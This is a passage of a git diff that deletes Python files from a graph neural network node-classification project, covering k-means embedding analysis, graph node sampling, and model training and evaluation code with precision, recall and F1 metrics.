print(f"Bin {i + 1}: {hist[i]} values in range [{bin_edges[i]:.2f}, {bin_edges[i + 1]:.2f})") - print(f"below 0.9: {len(all_method) - sum(hist)}") - - print(flag.count(True), flag.count(False)) - - -def two_kmeans_cluster(): - variable_result = [] - function_result = [] - for g in graph_list: - print(f"{g.num_nodes()} nodes") - # 获取所有不同的 kind 值 - kinds = torch.unique(g.ndata['kind']) - - # 遍历每个 kind 并计算相似性 - for kind in kinds: - kind_nodes = (g.ndata['kind'] == kind).nonzero(as_tuple=True)[0] - label_1_nodes = kind_nodes[(g.ndata['label'][kind_nodes] == 1).nonzero(as_tuple=True)[0]] - label_0_nodes = kind_nodes[(g.ndata['label'][kind_nodes] == 0).nonzero(as_tuple=True)[0]] - # 将所有节点合并后,进行聚类 - if label_1_nodes.numel() + label_0_nodes.numel() > 1: - label_1_embeddings = g.ndata['embedding'][label_1_nodes] - label_0_embeddings = g.ndata['embedding'][label_0_nodes] - all_embeddings = torch.cat((label_1_embeddings, label_0_embeddings), dim=0).tolist() - num_clusters = 2 - kmeans = KMeans(n_clusters=num_clusters, random_state=42) - kmeans.fit(all_embeddings) - labels = kmeans.labels_ - size_1 = label_1_embeddings.shape[0] - size_0 = label_0_embeddings.shape[0] - # print(labels) - # 计算正样本的最多聚类标签 - cluster_labels = labels[0: size_1] - # 统计两个类别的个数 - true_cluster_1 = sum(cluster_labels) if size_1 > 0 else 0 - true_cluster_0 = len(cluster_labels) - true_cluster_1 if size_1 > 0 else 0 - total_cluster_1 = sum(labels) - total_cluster_0 = len(labels) - total_cluster_1 - if kind == 0: - variable_result.append([true_cluster_0, true_cluster_1, total_cluster_0, total_cluster_1]) - elif kind == 1: - function_result.append([true_cluster_0, true_cluster_1, total_cluster_0, total_cluster_1]) - # if kind == 0: - # variable_result.append(count / size_1) - # common_neg = np.count_nonzero(labels[size_1:] == mode) - # false_variable_result.append(common_neg / size_0) - # print(f'variable: total positive label {mode}-{count}/{size_1} total negative {common_neg}/{size_0}') - # elif kind == 1: - # function_result.append(count / size_1) - # common_neg = np.count_nonzero(labels[size_1:] == mode) - # false_function_result.append(common_neg / size_0) - # print(f'function: total positive label {mode}-{count}/{size_1} total negative {common_neg}/{size_0}') - # Plot - # r = max(true_cluster_0, true_cluster_1) / (true_cluster_0 + true_cluster_1) if size_1 > 0 else 0 - # if len(labels) > 30 and size_1 > 8 and r > 0.75: - # centroids = kmeans.cluster_centers_ # 簇类中心 - # pca = PCA(n_components=2) - # data_2d = pca.fit_transform(all_embeddings) - # centroids_2d = pca.transform(centroids) - # plt.figure(figsize=(10, 7)) - # colors = [] - # for index, label in enumerate(labels): - # if index < size_1: - # colors.append('b') - # else: - # colors.append('g' if label == 0 else 'k') - # plt.scatter(data_2d[:, 0], data_2d[:, 1], c=colors, cmap='viridis', marker='o', alpha=0.5) - # plt.scatter(centroids_2d[:, 0], centroids_2d[:, 1], c='red', marker='x', s=100) - # plt.title(f'K-means Clustering >>> {node_kind_list[kind]}') - # # plt.xlabel('PCA Component 1') - # # plt.ylabel('PCA Component 2') - # plt.show() - start = 0 - end = 1 - interval = 0.1 - bins = np.arange(start, end + interval, interval) - # 分析正样本的分布 - true_list = [] - for item in variable_result: - if item[0] + item[1] == 0: - # 没有正样本 - continue - if item[0] > item[1]: - true_list.append(item[0] / (item[0] + item[1])) - else: - true_list.append(item[1] / (item[0] + item[1])) - hist, bin_edges = np.histogram(true_list, bins=bins) - print('true variable') - print(len(true_list)) - for i in range(len(hist)): - print(f"{i + 1}: {hist[i]} total in range [{bin_edges[i]:.2f}, {bin_edges[i + 1]:.2f})") - - true_list = [] - for item in function_result: - if item[0] + item[1] == 0: - # 没有正样本 - continue - if item[0] > item[1]: - true_list.append(item[0] / (item[0] + item[1])) - else: - true_list.append(item[1] / (item[0] + item[1])) - hist, bin_edges = np.histogram(true_list, bins=bins) - print('true function') - print(len(true_list)) - for i in range(len(hist)): - print(f"{i + 1}: {hist[i]} total in range [{bin_edges[i]:.2f}, {bin_edges[i + 1]:.2f})") - - # 分析所有样本的分布 - all_list = [] - for item in variable_result: - if item[2] > item[3]: - all_list.append(item[2] / (item[2] + item[3])) - else: - all_list.append(item[3] / (item[2] + item[3])) - hist, bin_edges = np.histogram(all_list, bins=bins) - print('total variable') - print(len(all_list)) - for i in range(len(hist)): - print(f"{i + 1}: {hist[i]} total in range [{bin_edges[i]:.2f}, {bin_edges[i + 1]:.2f})") - - all_list = [] - for item in function_result: - if item[2] > item[3]: - all_list.append(item[2] / (item[2] + item[3])) - else: - all_list.append(item[3] / (item[2] + item[3])) - # 计算每个区间的统计量 - hist, bin_edges = np.histogram(all_list, bins=bins) - print('total function') - print(len(all_list)) - # 打印每个区间的统计量 - for i in range(len(hist)): - print(f"{i + 1}: {hist[i]} total in range [{bin_edges[i]:.2f}, {bin_edges[i + 1]:.2f})") - - print(len([1 for item in variable_result if item[0] > item[1] and item[2] > item[3]])) - print(len([1 for item in variable_result if item[0] < item[1] and item[2] < item[3]])) - print(len([1 for item in function_result if item[0] > item[1] and item[2] > item[3]])) - print(len([1 for item in function_result if item[0] < item[1] and item[2] < item[3]])) - - -def eucliDist(A,B): - return math.sqrt(sum([(a - b)**2 for (a,b) in zip(A,B)])) - -def one_kmeans_cluster(): - variable_result = [] - function_result = [] - for g in graph_list: - print(f"{g.num_nodes()} nodes") - # 获取所有不同的 kind 值 - kinds = torch.unique(g.ndata['kind']) - - # 遍历每个 kind 并计算相似性 - for kind in kinds: - kind_nodes = (g.ndata['kind'] == kind).nonzero(as_tuple=True)[0] - label_1_nodes = kind_nodes[(g.ndata['label'][kind_nodes] == 1).nonzero(as_tuple=True)[0]] - label_0_nodes = kind_nodes[(g.ndata['label'][kind_nodes] == 0).nonzero(as_tuple=True)[0]] - # 将所有节点合并后,进行聚类 - if label_1_nodes.numel() + label_0_nodes.numel() > 1: - label_1_embeddings = g.ndata['embedding'][label_1_nodes] - label_0_embeddings = g.ndata['embedding'][label_0_nodes] - all_embeddings = torch.cat((label_1_embeddings, label_0_embeddings), dim=0).tolist() - num_clusters = 1 - kmeans = KMeans(n_clusters=num_clusters, random_state=42) - kmeans.fit(all_embeddings) - centroids = kmeans.cluster_centers_[0] # 聚类中心,一个向量,list - # 计算正样本和负样本到该中心的距离的平均值 - size_1 = label_1_embeddings.shape[0] - md = 0 - all_distance = 0 - true_node_distance = 0 - if size_1 > 0: - for i in range(size_1): - d = eucliDist(all_embeddings[i], centroids) - true_node_distance += d - all_distance += d - md = max(d, md) - true_node_distance /= size_1 - size_0 = label_0_embeddings.shape[0] - false_node_distance = 0 - if size_0 > 0: - for i in range(size_0): - d = eucliDist(all_embeddings[i+size_1], centroids) - false_node_distance += d - all_distance += d - md = max(d, md) - false_node_distance /= size_0 - all_distance /= (size_0 + size_1) - md = 1 if md == 0 else md - if kind == 0: - variable_result.append([true_node_distance / md, false_node_distance / md, all_distance / md]) - elif kind == 1: - function_result.append([true_node_distance / md, false_node_distance / md, all_distance / md]) - # Plot - # r = max(true_cluster_0, true_cluster_1) / (true_cluster_0 + true_cluster_1) if size_1 > 0 else 0 - # if len(labels) > 30 and size_1 > 8 and r > 0.75: - # centroids = kmeans.cluster_centers_ # 簇类中心 - # pca = PCA(n_components=2) - # data_2d = pca.fit_transform(all_embeddings) - # centroids_2d = pca.transform(centroids) - # plt.figure(figsize=(10, 7)) - # colors = [] - # for index, label in enumerate(labels): - # if index < size_1: - # colors.append('b') - # else: - # colors.append('g' if label == 0 else 'k') - # plt.scatter(data_2d[:, 0], data_2d[:, 1], c=colors, cmap='viridis', marker='o', alpha=0.5) - # plt.scatter(centroids_2d[:, 0], centroids_2d[:, 1], c='red', marker='x', s=100) - # plt.title(f'K-means Clustering >>> {node_kind_list[kind]}') - # # plt.xlabel('PCA Component 1') - # # plt.ylabel('PCA Component 2') - # plt.show() - # print(variable_result, function_result) - start = 0 - end = 1 - interval = 0.1 - bins = np.arange(start, end + interval, interval) - # 分析正样本的分布 - true_list = [] - for item in variable_result: - if item[0] == 0: - # 没有正样本 - continue - true_list.append(item[0]) - hist, bin_edges = np.histogram(true_list, bins=bins) - print('true variable') - print(len(true_list)) - for i in range(len(hist)): - print(f"{i + 1}: {hist[i]} total in range [{bin_edges[i]:.2f}, {bin_edges[i + 1]:.2f})") - false_list = [] - for item in variable_result: - if item[1] == 0: - continue - false_list.append(item[1]) - hist, bin_edges = np.histogram(false_list, bins=bins) - print('false variable') - print(len(false_list)) - for i in range(len(hist)): - print(f"{i + 1}: {hist[i]} total in range [{bin_edges[i]:.2f}, {bin_edges[i + 1]:.2f})") - all_list = [] - for item in variable_result: - if item[2] == 0: - # 没有正样本 - continue - all_list.append(item[2]) - hist, bin_edges = np.histogram(all_list, bins=bins) - print('all variable') - print(len(all_list)) - for i in range(len(hist)): - print(f"{i + 1}: {hist[i]} total in range [{bin_edges[i]:.2f}, {bin_edges[i + 1]:.2f})") - # 方法 - true_list = [] - for item in function_result: - if item[0] == 0: - # 没有正样本 - continue - true_list.append(item[0]) - hist, bin_edges = np.histogram(true_list, bins=bins) - print('true function') - print(len(true_list)) - for i in range(len(hist)): - print(f"{i + 1}: {hist[i]} total in range [{bin_edges[i]:.2f}, {bin_edges[i + 1]:.2f})") - false_list = [] - for item in function_result: - if item[1] == 0: - continue - false_list.append(item[1]) - hist, bin_edges = np.histogram(false_list, bins=bins) - print('false function') - print(len(false_list)) - for i in range(len(hist)): - print(f"{i + 1}: {hist[i]} total in range [{bin_edges[i]:.2f}, {bin_edges[i + 1]:.2f})") - all_list = [] - for item in function_result: - if item[2] == 0: - # 没有正样本 - continue - all_list.append(item[2]) - hist, bin_edges = np.histogram(all_list, bins=bins) - print('all function') - print(len(all_list)) - for i in range(len(hist)): - print(f"{i + 1}: {hist[i]} total in range [{bin_edges[i]:.2f}, {bin_edges[i + 1]:.2f})") - - print(len([1 for item in variable_result if item[0] < item[1]])) - print(len([1 for item in function_result if item[0] < item[1]])) - - -def cluster_sample(graph: DGLGraph): - # 获取所有不同的 kind 值 - kinds = torch.unique(graph.ndata['kind']) - # 遍历每个 kind 并保留正样本聚类最多的类别的聚类节点 - for kind in kinds: - if kind != 0 and kind != 1: - continue - kind_nodes = (graph.ndata['kind'] == kind).nonzero(as_tuple=True)[0] - label_1_nodes = kind_nodes[(graph.ndata['label'][kind_nodes] == 1).nonzero(as_tuple=True)[0]] - label_0_nodes = kind_nodes[(graph.ndata['label'][kind_nodes] == 0).nonzero(as_tuple=True)[0]] - # 蒋所有节点合并后,进行聚类 - if label_1_nodes.numel() + label_0_nodes.numel() > 1: - # print(f"kind: {kind}") - label_1_embeddings = graph.ndata['embedding'][label_1_nodes] - label_0_embeddings = graph.ndata['embedding'][label_0_nodes] - all_embeddings = torch.cat((label_1_embeddings, label_0_embeddings), dim=0).tolist() - num_clusters = 2 - kmeans = KMeans(n_clusters=num_clusters, random_state=42) - kmeans.fit(all_embeddings) - labels = kmeans.labels_ - size_1 = label_1_embeddings.shape[0] - size_0 = label_0_embeddings.shape[0] - if size_1 > 0: - # 计算正样本的最多聚类标签 - cluster_labels = np.array(labels[0: size_1]) - # 计算众数 - counter = Counter(cluster_labels) - mode_data = counter.most_common(1)[0] - # 获取众数和出现频率 - mode = mode_data[0] - count = mode_data[1] - label_1 = labels[0: size_1] - label_0 = labels[size_1:] - need_to_remove_0 = label_0_nodes[label_0 != mode] - if need_to_remove_0.shape[0] != 0: - # print(f'removed false {need_to_remove_0.shape[0]}') - graph.remove_nodes(need_to_remove_0.tolist()) - need_to_remove_1 = label_1_nodes[label_1 != mode] - if need_to_remove_1.shape[0] != 0: - # print(f'removed true {need_to_remove_1.shape[0]}') - graph.remove_nodes(need_to_remove_1.tolist()) - else: - mode = random.randint(0, 1) - label_0 = labels[size_1:] - need_to_remove_0 = label_0_nodes[label_0 != mode] - if need_to_remove_0.shape[0] != 0: - # print(f'removed false {need_to_remove_0.shape[0]}') - graph.remove_nodes(need_to_remove_0.tolist()) - true_nodes = (graph.ndata['label'] == 1).nonzero(as_tuple=True)[0].tolist() - while True: - curr_len = len(true_nodes) - src, dst = graph.edges() - for i in range(len(src)): - if src[i].item() in true_nodes and dst[i].item() not in true_nodes: - true_nodes.append(dst[i].item()) - if dst[i].item() in true_nodes and src[i].item() not in true_nodes: - true_nodes.append(src[i].item()) - if len(true_nodes) == curr_len: - break - all_nodes = graph.nodes() - need_to_remove = [] - for node in all_nodes: - if node not in true_nodes: - need_to_remove.append(node) - graph.remove_nodes(need_to_remove) - return graph - - -def similarity_sample(graph: DGLGraph): - kinds = torch.unique(graph.ndata['kind']) - # 去除负样本那种和正样本相似度超过平均值的 elements - for kind in kinds: - if kind != 0 and kind != 1: - continue - kind_nodes = (graph.ndata['kind'] == kind).nonzero(as_tuple=True)[0] - label_1_nodes = kind_nodes[(graph.ndata['label'][kind_nodes] == 1).nonzero(as_tuple=True)[0]] - label_0_nodes = kind_nodes[(graph.ndata['label'][kind_nodes] == 0).nonzero(as_tuple=True)[0]] - - avg_label_1_similarity = 0 - - if label_1_nodes.numel() > 1: - label_1_embeddings = graph.ndata['embedding'][label_1_nodes] - label_1_similarities = compute_similarity(label_1_embeddings) - avg_label_1_similarity = label_1_similarities[label_1_similarities != 0].mean().item() - - label_0_to_label_1_similarities = [] - for node_0 in label_0_nodes: - curr_node = [] - for node_1 in label_1_nodes: - similarity = F.cosine_similarity(graph.ndata['embedding'][node_0].unsqueeze(0), - graph.ndata['embedding'][node_1].unsqueeze(0), dim=1) - curr_node.append(similarity.item()) - # (curr_node > avg_label_1_similarity).count() - if len(curr_node) > 0: - label_0_to_label_1_similarities.append(sum(curr_node) / len(curr_node)) - - if label_0_to_label_1_similarities and label_1_nodes.numel() > 1: - new_s = label_0_to_label_1_similarities.copy() - new_s.sort() - # mid_similarity = new_s[int((len(new_s) / 4) * 3)] - # average_similarity = sum(label_0_to_label_1_similarities) / len(label_0_to_label_1_similarities) - # 因为正样本之间的相似度比较高,所以去除那些负样本与正样本相似度比较低的节点,小于正样本平均值的就去掉 - t = torch.tensor(label_0_to_label_1_similarities) - need_to_remove = label_0_nodes[t < avg_label_1_similarity] - graph.remove_nodes(need_to_remove.tolist()) - true_nodes = (graph.ndata['label'] == 1).nonzero(as_tuple=True)[0].tolist() - while True: - curr_len = len(true_nodes) - src, dst = graph.edges() - for i in range(len(src)): - if src[i].item() in true_nodes and dst[i].item() not in true_nodes: - true_nodes.append(dst[i].item()) - if dst[i].item() in true_nodes and src[i].item() not in true_nodes: - true_nodes.append(src[i].item()) - if len(true_nodes) == curr_len: - break - all_nodes = graph.nodes() - need_to_remove = [] - for node in all_nodes: - if node not in true_nodes: - need_to_remove.append(node) - graph.remove_nodes(need_to_remove) - return graph - - -# one_kmeans_cluster() -# two_kmeans_cluster() -# analysis() -# -# node_number = [] -# for g in graph_list: -# origin_node = g.number_of_nodes() -# sample_node = cluster_sample(g).number_of_nodes() -# node_number.append([origin_node, sample_node]) -# print(node_number) -# s = 0 -# for node in node_number: -# s = s + 1 if node[0] > node[1] else s -# print(s, len(node_number)) - -if True: - res = [] - count = 0 - type_list = [0, 0, 0, 0] - origin_node, delete_node = [[], []], [[], []] - for graph in graph_list: - origin_true_node = (graph.ndata['label'] == 1).nonzero(as_tuple=True)[0].shape[0] - origin_false_node = (graph.ndata['label'] == 0).nonzero(as_tuple=True)[0].shape[0] - origin_node[0].append(origin_true_node) - origin_node[1].append(origin_false_node) - before = graph.number_of_nodes() - graph = cluster_sample(graph) - graph = cluster_sample(graph) - true_node = (graph.ndata['label'] == 1).nonzero(as_tuple=True)[0].shape[0] - false_node = (graph.ndata['label'] == 0).nonzero(as_tuple=True)[0].shape[0] - if graph.number_of_nodes() != before: - count += 1 - delete_node[0].append(origin_true_node - true_node) - delete_node[1].append(origin_false_node - false_node) - res.append(false_node * 1.0 / true_node if true_node > 0 else false_node * 1.0) - kinds = torch.unique(graph.ndata['kind']) - for kind in kinds: - type_list[kind] += (graph.ndata['kind'] == kind).nonzero(as_tuple=True)[0].shape[0] - - print(f"count: {count}") - res = np.array(res) - sort_counts_list = np.sort(res) - Q3 = np.percentile(sort_counts_list, 75, method='midpoint') - print(f'total: {res.shape}, min: {np.min(res)}, max: {np.max(res)}, mean: {np.mean(res)}, TQ: {Q3}') - - print(f"all true node: {sum(origin_node[0])}, all false node: {sum(origin_node[1])}") - print(f"delete true node: {sum(delete_node[0])}, delete false node: {sum(delete_node[1])}") - - print(node_kind_list) - print(type_list) - -# for graph in graph_list[0:2]: -# # 提取第一个维度的数据并转成 DataFrame 的列 -# data = { -# 'node_id': [graph.nodes()[i].item() for i in range(graph.nodes().shape[0])], -# 'embedding': [graph.ndata['embedding'][i].tolist() for i in range(graph.ndata['embedding'].shape[0])], -# 'label': [graph.ndata['label'][i].item() for i in range(graph.ndata['label'].shape[0])], -# 'kind': [graph.ndata['kind'][i].item() for i in range(graph.ndata['kind'].shape[0])] -# } -# # 创建 DataFrame -# nodes = pd.DataFrame(data) -# print(nodes) -# -# (src, dst) = graph.edges() -# data = { -# 'start_node_id': [src[i].item() for i in range(src.shape[0])], -# 'end_node_id': [dst[i].item() for i in range(dst.shape[0])], -# 'relation': [graph.edata['relation'][i].item() for i in range(graph.edata['relation'].shape[0])] -# } -# # 创建 DataFrame -# edges = pd.DataFrame(data) -# print(edges) -# src, dst = edges['start_node_id'].tolist(), edges['end_node_id'].tolist() -# g = dgl.graph(data=(src, dst), num_nodes=len(nodes)) -# g.ndata['embedding'] = torch.Tensor(nodes['embedding'].tolist()) -# g.ndata['label'] = torch.tensor(nodes['label'].tolist(), dtype=torch.float32) -# g.ndata['kind'] = torch.tensor(nodes['kind'].tolist(), dtype=torch.int64) -# g.edata['relation'] = torch.tensor(edges['relation'].tolist(), dtype=torch.int64) -# print(g) -# diff --git a/GNN_Node_Classification/node_classification.py b/GNN_Node_Classification/node_classification.py deleted file mode 100644 index e06cd84..0000000 --- a/GNN_Node_Classification/node_classification.py +++ /dev/null @@ -1,242 +0,0 @@ -from decimal import Decimal - -import numpy as np -import torch -import torch.nn as nn -import torch.optim as optim -import nni -from torchmetrics.classification import BinaryAccuracy, BinaryAveragePrecision -from torchmetrics.classification import BinaryPrecision -from torchmetrics.classification import BinaryRecall -from torchmetrics.classification import BinaryF1Score -from torchmetrics.classification import BinaryAUROC - -from .utils_nc import util -from .utils_nc.data_loader import load_prediction_data - -from .utils_nc.wo_attention_prediction_model import WoAttentionPredictionModel -from .utils_nc.wo_concat_prediction_model import WoConcatPredictionModel -from .utils_nc.attention_prediction_model import AttentionPredictionModel - - -def valid(gnn_model, data_loader, device, threshold): - """ - 使用验证集验证模型 - - :param gnn_model: 模型 - :param data_loader: 图数据加载器 - :param device: device - :param threshold: classification threshold - :return: none - """ - with torch.no_grad(): - gnn_model.eval() - criterion = nn.BCELoss() # 二元交叉熵 - total_loss = 0.0 - accuracy = 0.0 - precision = 0.0 - recall = 0.0 - auroc = 0.0 - auprc = 0.0 - f_1 = 0.0 - for g, features, labels, edge_types, kinds in data_loader: - output = gnn_model(g, features, edge_types) - # output = output[torch.eq(seeds, 1)] - # labels = labels[torch.eq(seeds, 1)] - # 计算 loss - loss = criterion(output, labels) - total_loss += loss.item() - # print(predict_res, labels) - # 计算 accuracy - accuracy_metrics = BinaryAccuracy(threshold=threshold).to(device) - acc = accuracy_metrics(output, labels).item() - accuracy += acc - # 计算 precision - precision_metrics = BinaryPrecision(threshold=threshold).to(device) - pre = precision_metrics(output, labels).item() - precision += pre - # 计算 recall - recall_metrics = BinaryRecall(threshold=threshold).to(device) - rec = recall_metrics(output, labels).item() - recall += rec - # 计算F1 - f1_metrics = BinaryF1Score(threshold=threshold).to(device) - f1 = f1_metrics(output, labels).item() - f_1 += f1 - # 计算AUC - metric = BinaryAUROC(thresholds=None).to(device) - roc = metric(output, labels).item() - auroc += roc - # AUPRC - # metric = BinaryAveragePrecision(thresholds=None).to(device) - # prc = metric(output, labels.int()).item() - # auprc += 0 if np.isnan(prc) else prc - # print(f'precision: {pre}, recall: {rec}, f1_score: {f1}, AUROC: {roc}, AUPRC: {prc}') - total_loss = total_loss / len(data_loader) - accuracy = accuracy / len(data_loader) - precision = precision / len(data_loader) - recall = recall / len(data_loader) - auroc = auroc / len(data_loader) - # auprc = auprc / len(data_loader) - if precision + recall > 0: - f_1 = 2 * precision * recall / (precision + recall) - else: - f_1 = f_1 / len(data_loader) - print(f'--valid: ' - # f'Loss: {total_loss}, ' - # f'Accuracy: {accuracy}, ' - f'Precision: {Decimal(precision).quantize(Decimal("0.0001"), rounding="ROUND_HALF_UP")}, ' - f'Recall: {Decimal(recall).quantize(Decimal("0.0001"), rounding="ROUND_HALF_UP")}, ' - f'F1: {Decimal(f_1).quantize(Decimal("0.0001"), rounding="ROUND_HALF_UP")}') - # f'AUROC: {auroc},' - # f'AUPRC: {auprc}') - return [total_loss, accuracy, precision, recall, f_1, auroc] - - -def train(save_path, save_name, embedding_type, step, gnn_model, data_loader, epochs, lr, device, threshold, self_loop, load_lazy, - weight_decay, use_nni, under_sampling_threshold): - """ - 训练函数 - - :param save_path: 保存模型和结果的路径 - :param save_name: 保存结果文件的名字 - :param step: 步长 - :param gnn_model: gnn预测 - :param data_loader: 图数据加载器 - :param epochs: 训练轮数 - :param lr: 学习率 - :param device: 设备 cpu or gpu - :param threshold: classification threshold - :param self_loop: whether need self_loop edge - :param load_lazy: load dataset lazy - :param weight_decay: adam 权重衰减系数 - :return: none - """ - gnn_model.train() - optimizer = optim.Adam(gnn_model.parameters(), lr=lr, weight_decay=weight_decay) - criterion = nn.BCELoss() # 二元交叉熵 - print('----load valid dataset----') - valid_data_loader = load_prediction_data(save_path, 'valid', embedding_type, batch_size=1, step=step, self_loop=self_loop, - load_lazy=load_lazy, under_sampling_threshold=under_sampling_threshold) - valid(gnn_model=gnn_model, data_loader=valid_data_loader, device=device, threshold=threshold) - result = [] - max_epoch = [0, 0, 0, 0] # epoch precision recall f1 - best_count = 0 - patience = 20 - for epoch in range(epochs): - total_loss = 0.0 - train_accuracy = 0.0 - for g, features, labels, edge_types, kinds in data_loader: - optimizer.zero_grad() - output = gnn_model(g, features, edge_types) - # 计算 accuracy - accuracy_metrics = BinaryAccuracy(threshold=threshold).to(device) - # 将 seed 为1的节点丢弃 - # output = output[torch.eq(seeds, 0)] - # labels = labels[torch.eq(seeds, 0)] - acc = accuracy_metrics(output, labels).item() - train_accuracy += acc - loss = criterion(output, labels) - loss.backward() - optimizer.step() - total_loss += loss.item() - print(f'--train: ' - f'Epoch {epoch}, ' - f'Loss: {Decimal(total_loss / len(data_loader)).quantize(Decimal("0.0001"), rounding="ROUND_HALF_UP")}, ' - f'Acc: {Decimal(train_accuracy / len(data_loader)).quantize(Decimal("0.0001"), rounding="ROUND_HALF_UP")}') - res = valid(gnn_model=gnn_model, data_loader=valid_data_loader, device=device, threshold=threshold) - res.insert(0, epoch) - res.insert(1, total_loss / len(data_loader)) - res.insert(2, train_accuracy / len(data_loader)) - result.append(res) - if use_nni: - nni.report_intermediate_result(res[7]) - # 如何保存最优模型 + 早停机制 - if res[7] > max_epoch[3]: - # if res[5] + res[6] + res[7] > max_epoch[1] + max_epoch[2] + max_epoch[3]: - max_epoch = [epoch, res[5], res[6], res[7]] - best_count = 0 - # 保存最好的模型 - util.save_model(gnn_model, save_path, step, f'{save_name}_best') - else: - best_count += 1 - if best_count >= patience: - print("Early stopping") - break - print(f"best model: {max_epoch}") - util.save_result(result, save_path, step, save_name) - - -def start_train(save_path, save_name, embedding_type, step, under_sampling_threshold, model, device, epochs, lr, batch_size, threshold, - self_loop, load_lazy, weight_decay, use_nni): - print('----load train dataset----') - data_loader = load_prediction_data(save_path, 'train', embedding_type, batch_size, step, under_sampling_threshold, self_loop, - load_lazy) - # print('----start train----') - train(save_path, save_name, embedding_type, step, model, data_loader, epochs, lr, device, threshold, self_loop, load_lazy, - weight_decay, use_nni, under_sampling_threshold) - - -def init(model_type, num_layers, in_feats, hidden_size, dropout, num_heads, num_edge_types, use_gpu, - attention_heads=10, approach='attention'): - # 定义模型参数 GPU 或 CPU - if use_gpu: - device = torch.device('cuda' if torch.cuda.is_available() else 'cpu') - else: - device = 'cpu' - # 创建模型 - if approach == 'wo_attention': - model = WoAttentionPredictionModel(model_type, num_layers, in_feats, hidden_size, dropout, num_heads, - num_edge_types) - elif approach == 'attention': - model = AttentionPredictionModel(model_type, num_layers, in_feats, hidden_size, dropout, num_heads, - num_edge_types, attention_heads) - elif approach == 'wo_concat': - model = WoConcatPredictionModel(model_type, num_layers, in_feats, hidden_size, dropout, num_heads, - num_edge_types, attention_heads) - else: - model = AttentionPredictionModel(model_type, num_layers, in_feats, hidden_size, dropout, num_heads, - num_edge_types, attention_heads) - model = model.to(device) - return device, model - - -def main_func(save_path: str, save_name: str, embedding_type: str, step: int, under_sampling_threshold=15, model_type="GCN", - num_layers=3, in_feats=1280, hidden_size=1024, dropout=0.1, attention_heads=8, num_heads=8, - num_edge_types=6, epochs=50, lr=0.001, batch_size=16, threshold=0.5, use_gpu=True, load_lazy=True, - weight_decay=1e-6, approach='attention', use_nni=False): - """ - node classification - - :param save_path: 保存模型和结果的路径 - :param save_name: 保存的模型的名字 - :param embedding_type: type of embedding - :param step: 步长 - :param under_sampling_threshold: 欠采样比例阈值 default: 5.0 - :param model_type: 需要选择的模型: GCN, GAT, RGCN, GraphSAGE, GGNN default:GCN - :param num_layers: 图卷积层数, default: 3 - :param in_feats: 节点嵌入维度 default: 1280 - :param hidden_size: 图卷积层,隐藏层大小 default: 1024 - :param dropout: dropout rate - :param attention_heads: number of gnn attention head - :param num_heads: GAT的注意力机制头数 default: 8 - :param num_edge_types: 边的类型数 default: 6 - :param epochs: 训练次数 default: 50 - :param lr: 学习率 default: 0.001 - :param batch_size: 批次大小 default: 16 - :param threshold: classification threshold - :param use_gpu: default True - :param load_lazy: 是否懒加载图数据,default True - :param weight_decay: Adam 权重衰减系数 default: 1e-6 - :param approach: train approach: attention or concat - :param use_nni: default False - :return: None - """ - if model_type.startswith('RGCN'): - self_loop = True - else: - self_loop = True - device, model = init(model_type, num_layers, in_feats, hidden_size, dropout, num_heads, num_edge_types, use_gpu, - attention_heads, approach) - start_train(save_path, save_name, embedding_type, step, under_sampling_threshold, model, device, epochs, lr, batch_size, threshold, - self_loop, load_lazy, weight_decay, use_nni) diff --git a/GNN_Node_Classification/test_model.py b/GNN_Node_Classification/test_model.py deleted file mode 100644 index 6f18f9f..0000000 --- a/GNN_Node_Classification/test_model.py +++ /dev/null @@ -1,210 +0,0 @@ -from decimal import Decimal - -import numpy as np -import torch -import nni -from torch import nn -from torchmetrics.classification import BinaryPrecision -from torchmetrics.classification import BinaryRecall -from torchmetrics.classification import BinaryF1Score -from torchmetrics.classification import BinaryAveragePrecision - -from .utils_nc import util -from .utils_nc.data_loader import load_prediction_data - -from .utils_nc.wo_attention_prediction_model import WoAttentionPredictionModel -from .utils_nc.wo_concat_prediction_model import WoConcatPredictionModel -from .utils_nc.attention_prediction_model import AttentionPredictionModel - - -def calculate_result(labels: torch.Tensor, output: torch.Tensor, final_k: int): - true_number = torch.sum(torch.eq(labels, 1)).item() - top_k = output[torch.topk(output, k=final_k).indices] - top_labels = labels[torch.topk(output, final_k).indices] - res = [] - for threshold in [0.1, 0.2, 0.3, 0.4, 0.5, 0.6, 0.7, 0.8, 0.9]: - new_labels = top_labels[torch.ge(top_k, threshold)] # top_k 中只选择预测为真的 - true_positive = torch.sum(torch.eq(new_labels, 1)).item() - precision = 0 if new_labels.shape[0] == 0 else true_positive / new_labels.shape[0] - recall = 0 if true_number == 0 else true_positive / true_number - if precision + recall == 0: - f1 = 0 - else: - f1 = 2 * precision * recall / (precision + recall) - res.append([precision, recall, f1, 0]) - return res - - -def calculate_result_full(labels, output, device): - res = [] - for threshold in [0.1, 0.2, 0.3, 0.4, 0.5, 0.6, 0.7, 0.8, 0.9]: - if labels.shape[0] == 0: - print('0') - res.append([0, 0, 0, 0]) - # 计算 precision - precision_metrics = BinaryPrecision(threshold=threshold).to(device) - pre = precision_metrics(output, labels).item() - # 计算 recall - recall_metrics = BinaryRecall(threshold=threshold).to(device) - rec = recall_metrics(output, labels).item() - # 计算F1 - f1_metrics = BinaryF1Score(threshold=threshold).to(device) - f1 = f1_metrics(output, labels).item() - # AUPRC the area under the precision-recall curve - metric = BinaryAveragePrecision(thresholds=None).to(device) - prc = metric(output, labels.int()).item() - prc = 0 if np.isnan(prc) else prc - res.append([pre, rec, f1, prc]) - return res - - -def save_specific_result(labels, output, threshold, kinds, s_file): - """ - Save specific results based on conditions to a file. - - Parameters: - labels (torch.Tensor): The labels' tensor. - output (torch.Tensor): The output tensor. - threshold (float): The threshold value. - kinds (torch.Tensor): The kinds' tensor. - s_file (file object): The file object to write the results to. - """ - s_file.write('---new predict---\n') - # Iterate through the tensors and apply the conditions - for i in range(len(labels)): - label = labels[i].item() - out = output[i].item() - kind = kinds[i].item() - kind_mapping = ['variable', 'function', 'class', 'interface', 'generate'] - s_file.write(f"{i} {label} {out} {kind_mapping[int(kind)]} {label == 1}\n") - - -def print_result(result, threshold): - target = [0.0, 0.0, 0.0, 0.0] - s = [0.1, 0.2, 0.3, 0.4, 0.5, 0.6, 0.7, 0.8, 0.9] - print(f"{'Threshold':>10} {'Precision':>10} {'Recall':>10} {'F1 Score':>10} {'AUPRC':>10}") - for minConf in s: - i = s.index(minConf) - p, r, f, a = 0.0, 0.0, 0.0, 0.0 - for res in result: - p += res[i][0] - r += res[i][1] - f += res[i][2] - a += res[i][3] - p = Decimal(p / len(result)).quantize(Decimal("0.0001"), rounding="ROUND_HALF_UP") - r = Decimal(r / 